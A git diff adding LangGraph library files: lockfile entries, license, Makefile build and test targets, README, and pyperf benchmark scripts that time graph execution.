+    { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" },
+    { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" },
+    { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" },
+    { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" },
+    { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" },
+]
diff --git a/libs/langgraph/.gitignore b/libs/langgraph/.gitignore
new file mode 100644
index 0000000..0dbce5c
--- /dev/null
+++ b/libs/langgraph/.gitignore
@@ -0,0 +1,2 @@
+.langgraph_api/
+.devserver.pid
diff --git a/libs/langgraph/LICENSE b/libs/langgraph/LICENSE
new file mode 100644
index 0000000..fc0602f
--- /dev/null
+++ b/libs/langgraph/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2024 LangChain, Inc.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/libs/langgraph/Makefile b/libs/langgraph/Makefile
new file mode 100644
index 0000000..bfad745
--- /dev/null
+++ b/libs/langgraph/Makefile
@@ -0,0 +1,157 @@
+.PHONY: all format lint type test test_watch integration_tests spell_check spell_fix benchmark profile start-dev-server integration_tests
+
+# Default target executed when no arguments are given to make.
+all: help
+
+######################
+# TESTING AND COVERAGE
+######################
+
+# Benchmarks
+
+OUTPUT ?= out/benchmark.json
+
+install:  ## Install dependencies
+	uv sync --frozen --all-extras --all-packages --group dev
+
+benchmark:
+	mkdir -p out
+	rm -f $(OUTPUT)
+	uv run python -m bench -o $(OUTPUT) --rigorous
+
+benchmark-fast:
+	mkdir -p out
+	rm -f $(OUTPUT)
+	uv run python -m bench -o $(OUTPUT) --fast
+
+GRAPH ?= bench/fanout_to_subgraph.py
+
+profile:
+	mkdir -p out
+	sudo uv run py-spy record -g -o out/profile.svg -- python $(GRAPH)
+
+# Run unit tests and generate a coverage report.
+coverage:
+	uv run pytest --cov \
+		--cov-config=.coveragerc \
+		--cov-report xml \
+		--cov-report term-missing:skip-covered
+
+start-services:
+	docker compose -f tests/compose-postgres.yml -f tests/compose-redis.yml up -V --force-recreate --wait --remove-orphans
+
+stop-services:
+	docker compose -f tests/compose-postgres.yml -f tests/compose-redis.yml down -v
+
+start-dev-server:
+	LOG_LEVEL=warning uv run langgraph dev --config tests/example_app/langgraph.json --no-browser & echo "$$!" > .devserver.pid
+	@echo "Dev server started."
+
+stop-dev-server:
+	@if [ -f .devserver.pid ]; then \
+		kill `cat .devserver.pid` && rm .devserver.pid; \
+		 echo "Dev server stopped."; \
+	else \
+		echo "No dev server PID file found."; \
+	fi
+
+TEST ?= .
+NO_DOCKER ?= $(sh command -v docker >/dev/null 2>&1 && echo "false" || echo "true")
+
+test:
+	if [ "$(NO_DOCKER)" = "false" ]; then \
+		make start-services &&\
+		make start-dev-server &&\
+		uv run pytest $(TEST); \
+		EXIT_CODE=$$?; \
+		make stop-services; \
+		make stop-dev-server; \
+		exit $$EXIT_CODE; \
+	else \
+		NO_DOCKER=true uv run pytest $(TEST) ; \
+		EXIT_CODE=$$?; \
+		exit $$EXIT_CODE; \
+	fi
+
+test_parallel:
+	make start-services &&\
+	make start-dev-server &&\
+	uv run pytest -n auto --dist worksteal $(TEST) -vv --lf; \
+	EXIT_CODE=$$?; \
+	make stop-services; \
+	make stop-dev-server; \
+	exit $$EXIT_CODE
+
+integration_tests:
+	uv run pytest integration_tests
+
+WORKERS ?= auto
+XDIST_ARGS := $(if $(WORKERS),-n $(WORKERS) --dist worksteal,)
+MAXFAIL ?= 1
+MAXFAIL_ARGS = $(if $(MAXFAIL),--maxfail $(MAXFAIL),)
+# Add an '-x' if xdist is enabled
+XDIST_ARGS := $(if $(WORKERS),-x $(XDIST_ARGS),)
+
+test_watch:
+	make start-services &&\
+	make start-dev-server &&\
+	uv run ptw -- --ff -vv $(XDIST_ARGS) $(MAXFAIL_ARGS) $(TEST); \
+	EXIT_CODE=$$?; \
+	make stop-services; \
+	make stop-dev-server; \
+	exit $$EXIT_CODE
+
+test_watch_all:
+	npx concurrently -n langgraph,checkpoint,checkpoint-sqlite,postgres "make test_watch" "make -C ../checkpoint test_watch" "make -C ../checkpoint-sqlite test_watch" "make -C ../checkpoint-postgres test_watch"
+
+
+######################
+# LINTING AND FORMATTING
+######################
+
+# Define a variable for Python and notebook files.
+PYTHON_FILES=.
+lint format: PYTHON_FILES=.
+lint_diff format_diff: PYTHON_FILES=$(shell git diff --name-only --relative --diff-filter=d main . | grep -E r'\.py$$|\.ipynb$$')
+lint_package: PYTHON_FILES=langgraph
+lint_tests: PYTHON_FILES=tests
+
+lint lint_diff lint_package lint_tests:
+	uv run ruff check .
+	[ "$(PYTHON_FILES)" = "" ] || uv run ruff format $(PYTHON_FILES) --diff
+	[ "$(PYTHON_FILES)" = "" ] || uv run ruff check --select I $(PYTHON_FILES)
+	[ "$(PYTHON_FILES)" = "" ] || uv run ty check langgraph
+
+type:
+	uv run ty check langgraph
+
+format format_diff:
+	uv run ruff format $(PYTHON_FILES)
+	uv run ruff check --fix $(PYTHON_FILES)
+
+spell_check:
+	uv run codespell --toml pyproject.toml
+
+spell_fix:
+	uv run codespell --toml pyproject.toml -w
+
+
+######################
+# HELP
+######################
+
+help:
+	@echo '===================='
+	@echo '-- DOCUMENTATION --'
+	
+	@echo '-- LINTING --'
+	@echo 'format                       - run code formatters'
+	@echo 'lint                         - run linters'
+	@echo 'type                         - run type checking'
+	@echo 'spell_check               	- run codespell on the project'
+	@echo 'spell_fix               		- run codespell on the project and fix the errors'
+	@echo '-- TESTS --'
+	@echo 'coverage                     - run unit tests and generate coverage report'
+	@echo 'test                         - run unit tests'
+	@echo 'test TEST_FILE=   - run all tests in file'
+	@echo 'test_watch                   - run unit tests in watch mode'
diff --git a/libs/langgraph/README.md b/libs/langgraph/README.md
new file mode 100644
index 0000000..b6267fd
--- /dev/null
+++ b/libs/langgraph/README.md
@@ -0,0 +1,46 @@
+# 🦜🕸️ LangGraph
+
+[![PyPI - Version](https://img.shields.io/pypi/v/langgraph?label=%20)](https://pypi.org/project/langgraph/#history)
+[![PyPI - License](https://img.shields.io/pypi/l/langgraph)](https://opensource.org/licenses/MIT)
+[![PyPI - Downloads](https://img.shields.io/pepy/dt/langgraph)](https://pypistats.org/packages/langgraph)
+[![Open Issues](https://img.shields.io/github/issues-raw/langchain-ai/langgraph)](https://github.com/langchain-ai/langgraph/issues)
+[![Twitter](https://img.shields.io/twitter/url/https/twitter.com/langchain_oss.svg?style=social&label=Follow%20%40LangChain)](https://x.com/langchain_oss)
+
+Looking for the JS/TS version? Check out [LangGraph.js](https://github.com/langchain-ai/langgraphjs).
+
+To help you ship LangGraph apps to production faster, check out [LangSmith](https://www.langchain.com/langsmith).
+[LangSmith](https://www.langchain.com/langsmith) is a unified developer platform for building, testing, and monitoring LLM applications.
+
+## Quick Install
+
+```bash
+uv add langgraph
+```
+
+## 🤔 What is this?
+
+LangGraph is a low-level orchestration framework for building, managing, and deploying long-running, stateful agents. LangGraph provides the infrastructure for durable execution, streaming, human-in-the-loop, persistence, memory, and more.
+
+We recommend you use LangGraph when you have advanced needs that require a combination of deterministic and agentic workflows, heavy customization, and carefully controlled latency. Use [LangChain](https://docs.langchain.com/oss/python/langchain/overview) when you want to quickly build agents and applications powered by LLMs using pre-built agent architectures and model integrations.
+
+LangChain [agents](https://docs.langchain.com/oss/python/langchain/agents) are built on top of LangGraph in order to provide durable execution, streaming, human-in-the-loop, persistence, and more. (You do not need to know LangGraph for basic LangChain agent usage.)
+
+Trusted by companies shaping the future of agents – including Klarna, Replit, Elastic, and more – LangGraph is used to ship AI applications at scale.
+
+## 📖 Documentation
+
+For full documentation, see the [API reference](https://reference.langchain.com/python/langgraph/). For conceptual guides, tutorials, and examples on using LangGraph, see the [LangGraph Docs](https://docs.langchain.com/oss/python/langgraph/overview). Get started with the [LangGraph Quickstart](https://docs.langchain.com/oss/python/langgraph/quickstart).
+
+## 📕 Releases & Versioning
+
+See our [Releases](https://docs.langchain.com/oss/python/release-policy) and [Versioning](https://docs.langchain.com/oss/python/versioning) policies.
+
+## 💁 Contributing
+
+As an open-source project in a rapidly developing field, we are extremely open to contributions, whether it be in the form of a new feature, improved infrastructure, or better documentation.
+
+For detailed information on how to contribute, see the [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview).
+
+## Acknowledgements
+
+LangGraph is inspired by [Pregel](https://research.google/pubs/pub37252/) and [Apache Beam](https://beam.apache.org/). The public interface draws inspiration from [NetworkX](https://networkx.org/documentation/latest/). LangGraph is built by LangChain Inc, the creators of LangChain, but can be used without LangChain.
diff --git a/libs/langgraph/bench/__init__.py b/libs/langgraph/bench/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/libs/langgraph/bench/__main__.py b/libs/langgraph/bench/__main__.py
new file mode 100644
index 0000000..d824abe
--- /dev/null
+++ b/libs/langgraph/bench/__main__.py
@@ -0,0 +1,520 @@
+import random
+from uuid import uuid4
+
+from langchain_core.messages import HumanMessage
+from langgraph.checkpoint.memory import InMemorySaver
+from pyperf._runner import Runner
+from uvloop import new_event_loop
+
+from bench.fanout_to_subgraph import fanout_to_subgraph, fanout_to_subgraph_sync
+from bench.pydantic_state import pydantic_state
+from bench.react_agent import react_agent
+from bench.sequential import create_sequential
+from bench.serde_allowlist import collect_allowlist_large, collect_allowlist_small
+from bench.wide_dict import wide_dict
+from bench.wide_state import wide_state
+from langgraph.graph import StateGraph
+from langgraph.pregel import Pregel
+
+
+async def arun(graph: Pregel, input: dict):
+    len(
+        [
+            c
+            async for c in graph.astream(
+                input,
+                {
+                    "configurable": {"thread_id": str(uuid4())},
+                    "recursion_limit": 1000000000,
+                },
+                durability="exit",
+            )
+        ]
+    )
+
+
+async def arun_first_event_latency(graph: Pregel, input: dict) -> None:
+    """Latency for the first event.
+
+    Run the graph until the first event is processed and then stop.
+    """
+    stream = graph.astream(
+        input,
+        {
+            "configurable": {"thread_id": str(uuid4())},
+            "recursion_limit": 1000000000,
+        },
+        durability="exit",
+    )
+
+    try:
+        async for _ in stream:
+            break
+    finally:
+        await stream.aclose()
+
+
+def run(graph: Pregel, input: dict):
+    len(
+        [
+            c
+            for c in graph.stream(
+                input,
+                {
+                    "configurable": {"thread_id": str(uuid4())},
+                    "recursion_limit": 1000000000,
+                },
+                durability="exit",
+            )
+        ]
+    )
+
+
+def run_first_event_latency(graph: Pregel, input: dict) -> None:
+    """Latency for the first event.
+
+    Run the graph until the first event is processed and then stop.
+    """
+    stream = graph.stream(
+        input,
+        {
+            "configurable": {"thread_id": str(uuid4())},
+            "recursion_limit": 1000000000,
+        },
+        durability="exit",
+    )
+
+    try:
+        for _ in stream:
+            break
+    finally:
+        stream.close()
+
+
+def compile_graph(graph: StateGraph) -> None:
+    """Compile the graph."""
+    graph.compile()
+
+
+benchmarks = (
+    (
+        "fanout_to_subgraph_10x",
+        fanout_to_subgraph().compile(checkpointer=None),
+        fanout_to_subgraph_sync().compile(checkpointer=None),
+        {
+            "subjects": [
+                random.choices("abcdefghijklmnopqrstuvwxyz", k=1000) for _ in range(10)
+            ]
+        },
+    ),
+    (
+        "fanout_to_subgraph_10x_checkpoint",
+        fanout_to_subgraph().compile(checkpointer=InMemorySaver()),
+        fanout_to_subgraph_sync().compile(checkpointer=InMemorySaver()),
+        {
+            "subjects": [
+                random.choices("abcdefghijklmnopqrstuvwxyz", k=1000) for _ in range(10)
+            ]
+        },
+    ),
+    (
+        "fanout_to_subgraph_100x",
+        fanout_to_subgraph().compile(checkpointer=None),
+        fanout_to_subgraph_sync().compile(checkpointer=None),
+        {
+            "subjects": [
+                random.choices("abcdefghijklmnopqrstuvwxyz", k=1000) for _ in range(100)
+            ]
+        },
+    ),
+    (
+        "fanout_to_subgraph_100x_checkpoint",
+        fanout_to_subgraph().compile(checkpointer=InMemorySaver()),
+        fanout_to_subgraph_sync().compile(checkpointer=InMemorySaver()),
+        {
+            "subjects": [
+                random.choices("abcdefghijklmnopqrstuvwxyz", k=1000) for _ in range(100)
+            ]
+        },
+    ),
+    (
+        "react_agent_10x",
+        react_agent(10, checkpointer=None),
+        react_agent(10, checkpointer=None),
+        {"messages": [HumanMessage("hi?")]},
+    ),
+    (
+        "react_agent_10x_checkpoint",
+        react_agent(10, checkpointer=InMemorySaver()),
+        react_agent(10, checkpointer=InMemorySaver()),
+        {"messages": [HumanMessage("hi?")]},
+    ),
+    (
+        "react_agent_100x",
+        react_agent(100, checkpointer=None),
+        react_agent(100, checkpointer=None),
+        {"messages": [HumanMessage("hi?")]},
+    ),
+    (
+        "react_agent_100x_checkpoint",
+        react_agent(100, checkpointer=InMemorySaver()),
+        react_agent(100, checkpointer=InMemorySaver()),
+        {"messages": [HumanMessage("hi?")]},
+    ),
+    (
+        "wide_state_25x300",
+        wide_state(300).compile(checkpointer=None),
+        wide_state(300).compile(checkpointer=None),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(5)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_state_25x300_checkpoint",
+        wide_state(300).compile(checkpointer=InMemorySaver()),
+        wide_state(300).compile(checkpointer=InMemorySaver()),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(5)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_state_15x600",
+        wide_state(600).compile(checkpointer=None),
+        wide_state(600).compile(checkpointer=None),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_state_15x600_checkpoint",
+        wide_state(600).compile(checkpointer=InMemorySaver()),
+        wide_state(600).compile(checkpointer=InMemorySaver()),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_state_9x1200",
+        wide_state(1200).compile(checkpointer=None),
+        wide_state(1200).compile(checkpointer=None),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(3)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_state_9x1200_checkpoint",
+        wide_state(1200).compile(checkpointer=InMemorySaver()),
+        wide_state(1200).compile(checkpointer=InMemorySaver()),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(3)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_dict_25x300",
+        wide_dict(300).compile(checkpointer=None),
+        wide_dict(300).compile(checkpointer=None),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(5)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_dict_25x300_checkpoint",
+        wide_dict(300).compile(checkpointer=InMemorySaver()),
+        wide_dict(300).compile(checkpointer=InMemorySaver()),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(5)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_dict_15x600",
+        wide_dict(600).compile(checkpointer=None),
+        wide_dict(600).compile(checkpointer=None),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_dict_15x600_checkpoint",
+        wide_dict(600).compile(checkpointer=InMemorySaver()),
+        wide_dict(600).compile(checkpointer=InMemorySaver()),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_dict_9x1200",
+        wide_dict(1200).compile(checkpointer=None),
+        wide_dict(1200).compile(checkpointer=None),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(3)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "wide_dict_9x1200_checkpoint",
+        wide_dict(1200).compile(checkpointer=InMemorySaver()),
+        wide_dict(1200).compile(checkpointer=InMemorySaver()),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(3)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "sequential_10",
+        create_sequential(10).compile(),
+        create_sequential(10).compile(),
+        {"messages": []},  # Empty list of messages
+    ),
+    (
+        "sequential_1000",
+        create_sequential(1000).compile(),
+        create_sequential(1000).compile(),
+        {"messages": []},  # Empty list of messages
+    ),
+    (
+        "pydantic_state_25x300",
+        pydantic_state(300).compile(checkpointer=None),
+        pydantic_state(300).compile(checkpointer=None),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(5)
+                }
+            ]
+        },
+    ),
+    (
+        "pydantic_state_25x300_checkpoint",
+        pydantic_state(300).compile(checkpointer=InMemorySaver()),
+        pydantic_state(300).compile(checkpointer=InMemorySaver()),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(5)
+                }
+            ]
+        },
+    ),
+    (
+        "pydantic_state_15x600",
+        pydantic_state(600).compile(checkpointer=None),
+        pydantic_state(600).compile(checkpointer=None),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "pydantic_state_15x600_checkpoint",
+        pydantic_state(600).compile(checkpointer=InMemorySaver()),
+        pydantic_state(600).compile(checkpointer=InMemorySaver()),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(5)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "pydantic_state_9x1200",
+        pydantic_state(1200).compile(checkpointer=None),
+        pydantic_state(1200).compile(checkpointer=None),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(3)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+    (
+        "pydantic_state_9x1200_checkpoint",
+        pydantic_state(1200).compile(checkpointer=InMemorySaver()),
+        pydantic_state(1200).compile(checkpointer=InMemorySaver()),
+        {
+            "messages": [
+                {
+                    str(i) * 10: {
+                        str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                        for j in range(3)
+                    }
+                    for i in range(3)
+                }
+            ]
+        },
+    ),
+)
+
+
+r = Runner()
+
+# Full graph run time
+for name, agraph, graph, input in benchmarks:
+    r.bench_async_func(name, arun, agraph, input, loop_factory=new_event_loop)
+    if graph is not None:
+        r.bench_func(name + "_sync", run, graph, input)
+
+
+# Pick a handful of graphs to measure the first event latency.
+# At the moment, limiting just due to the size of the annotation on github.
+GRAPHS_FOR_1st_EVENT_LATENCY = (
+    "sequential_1000",
+    "pydantic_state_25x300",
+)
+
+# First event latency
+for name, agraph, graph, input in benchmarks:
+    if graph not in GRAPHS_FOR_1st_EVENT_LATENCY:
+        continue
+    r.bench_async_func(
+        name + "_first_event_latency",
+        arun_first_event_latency,
+        agraph,
+        input,
+        loop_factory=new_event_loop,
+    )
+    if graph is not None:
+        r.bench_func(
+            name + "_first_event_latency_sync", run_first_event_latency, graph, input
+        )
+
+# Graph compilation times
+compilation_benchmarks = (
+    (
+        "sequential_1000",
+        create_sequential(1_000),
+    ),
+    (
+        "pydantic_state_25x300",
+        pydantic_state(300),
+    ),
+    (
+        "wide_state_15x600",
+        wide_state(600),
+    ),
+)
+
+for name, graph in compilation_benchmarks:
+    r.bench_func(name + "_compilation", compile_graph, graph)
+
+# Serde allowlist collection
+r.bench_func("serde_allowlist_small", collect_allowlist_small)
+r.bench_func("serde_allowlist_large", collect_allowlist_large)
diff --git a/libs/langgraph/bench/fanout_to_subgraph.py b/libs/langgraph/bench/fanout_to_subgraph.py
new file mode 100644
index 0000000..491d0d3
--- /dev/null
+++ b/libs/langgraph/bench/fanout_to_subgraph.py
@@ -0,0 +1,134 @@
+import operator
+from typing import Annotated
+
+from typing_extensions import TypedDict
+
+from langgraph.constants import END, START
+from langgraph.graph.state import StateGraph
+from langgraph.types import Send
+
+
+def fanout_to_subgraph() -> StateGraph:
+    class OverallState(TypedDict):
+        subjects: list[str]
+        jokes: Annotated[list[str], operator.add]
+
+    async def continue_to_jokes(state: OverallState):
+        return [Send("generate_joke", {"subject": s}) for s in state["subjects"]]
+
+    class JokeInput(TypedDict):
+        subject: str
+
+    class JokeOutput(TypedDict):
+        jokes: list[str]
+
+    class JokeState(JokeInput, JokeOutput): ...
+
+    async def bump(state: JokeOutput):
+        return {"jokes": [state["jokes"][0] + " a"]}
+
+    async def generate(state: JokeInput):
+        return {"jokes": [f"Joke about {state['subject']}"]}
+
+    async def edit(state: JokeInput):
+        subject = state["subject"]
+        return {"subject": f"{subject} - hohoho"}
+
+    async def bump_loop(state: JokeOutput):
+        return END if state["jokes"][0].endswith(" a" * 10) else "bump"
+
+    # subgraph
+    subgraph = StateGraph(JokeState, input_schema=JokeInput, output_schema=JokeOutput)
+    subgraph.add_node("edit", edit)
+    subgraph.add_node("generate", generate)
+    subgraph.add_node("bump", bump)
+    subgraph.set_entry_point("edit")
+    subgraph.add_edge("edit", "generate")
+    subgraph.add_edge("generate", "bump")
+    subgraph.add_conditional_edges("bump", bump_loop)
+    subgraph.set_finish_point("generate")
+    subgraphc = subgraph.compile()
+
+    # parent graph
+    builder = StateGraph(OverallState)
+    builder.add_node("generate_joke", subgraphc)
+    builder.add_conditional_edges(START, continue_to_jokes)
+    builder.add_edge("generate_joke", END)
+
+    return builder
+
+
+def fanout_to_subgraph_sync() -> StateGraph:
+    class OverallState(TypedDict):
+        subjects: list[str]
+        jokes: Annotated[list[str], operator.add]
+
+    def continue_to_jokes(state: OverallState):
+        return [Send("generate_joke", {"subject": s}) for s in state["subjects"]]
+
+    class JokeInput(TypedDict):
+        subject: str
+
+    class JokeOutput(TypedDict):
+        jokes: list[str]
+
+    class JokeState(JokeInput, JokeOutput): ...
+
+    def bump(state: JokeOutput):
+        return {"jokes": [state["jokes"][0] + " a"]}
+
+    def generate(state: JokeInput):
+        return {"jokes": [f"Joke about {state['subject']}"]}
+
+    def edit(state: JokeInput):
+        subject = state["subject"]
+        return {"subject": f"{subject} - hohoho"}
+
+    def bump_loop(state: JokeOutput):
+        return END if state["jokes"][0].endswith(" a" * 10) else "bump"
+
+    # subgraph
+    subgraph = StateGraph(JokeState, input_schema=JokeInput, output_schema=JokeOutput)
+    subgraph.add_node("edit", edit)
+    subgraph.add_node("generate", generate)
+    subgraph.add_node("bump", bump)
+    subgraph.set_entry_point("edit")
+    subgraph.add_edge("edit", "generate")
+    subgraph.add_edge("generate", "bump")
+    subgraph.add_conditional_edges("bump", bump_loop)
+    subgraph.set_finish_point("generate")
+    subgraphc = subgraph.compile()
+
+    # parent graph
+    builder = StateGraph(OverallState)
+    builder.add_node("generate_joke", subgraphc)
+    builder.add_conditional_edges(START, continue_to_jokes)
+    builder.add_edge("generate_joke", END)
+
+    return builder
+
+
+if __name__ == "__main__":
+    import asyncio
+    import random
+    import time
+
+    import uvloop
+    from langgraph.checkpoint.memory import InMemorySaver
+
+    graph = fanout_to_subgraph().compile(checkpointer=InMemorySaver())
+    input = {
+        "subjects": [
+            random.choices("abcdefghijklmnopqrstuvwxyz", k=1000) for _ in range(1000)
+        ]
+    }
+    config = {"configurable": {"thread_id": "1"}}
+
+    async def run():
+        len([c async for c in graph.astream(input, config=config)])
+
+    uvloop.install()
+    start = time.time()
+    asyncio.run(run())
+    end = time.time()
+    print(f"Time taken: {end - start:.4f} seconds")
diff --git a/libs/langgraph/bench/pydantic_state.py b/libs/langgraph/bench/pydantic_state.py
new file mode 100644
index 0000000..2f737bf
--- /dev/null
